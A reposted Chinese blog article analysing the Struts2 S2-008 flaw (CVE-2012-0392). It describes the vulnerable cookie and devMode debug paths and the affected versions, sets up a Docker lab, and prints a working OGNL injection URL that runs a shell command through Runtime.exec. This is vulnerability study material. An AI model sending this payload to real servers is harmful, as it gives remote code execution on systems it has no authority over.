【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392)

  • A+
所属分类:安全文章

【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392)

文章来源:

【Struts2-命令-代码执行漏洞分析系列】 S2-008 


漏洞概述
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。


漏洞成因


主要利用对传入参数没有严格限制,导致多个地方可以执行恶意代码。


第一种情况其实就是 S2-007,在异常处理时的 OGNL 执行 第二种的 cookie 的方式,虽然在 struts2 没有对恶意代码进行限制,但是java的 webserver(Tomcat),对 cookie 的名称有较多限制,在传入 struts2 之前就被处理,从而较为鸡肋 第三种需要开启 devModedebug 模式
例如在 devMode 模式下直接添加参数 ?debug=command&expression= 会直接执行后面的 OGNL 表达式.


影响版本:

Struts 2.1.0 - Struts 2.3.1


环境搭建:
docker-compose up-d/docker-compose build
启动靶场。


【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392) 


靶场已经启动可以通过访问虚拟机IP进行访问


【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392) 


选择devmode,jsp


【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392) 


命令执行:


/devmode.action?debug=command&expression=(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()))

【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392)

【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392)


推荐文章++++

【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392)

*【Struts2-命令-代码执行漏洞分析系列】 S2-001

*【Struts2-命令-代码执行漏洞分析系列】 S2-005


【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392)

【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392)

本文始发于微信公众号(黑白之道):【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: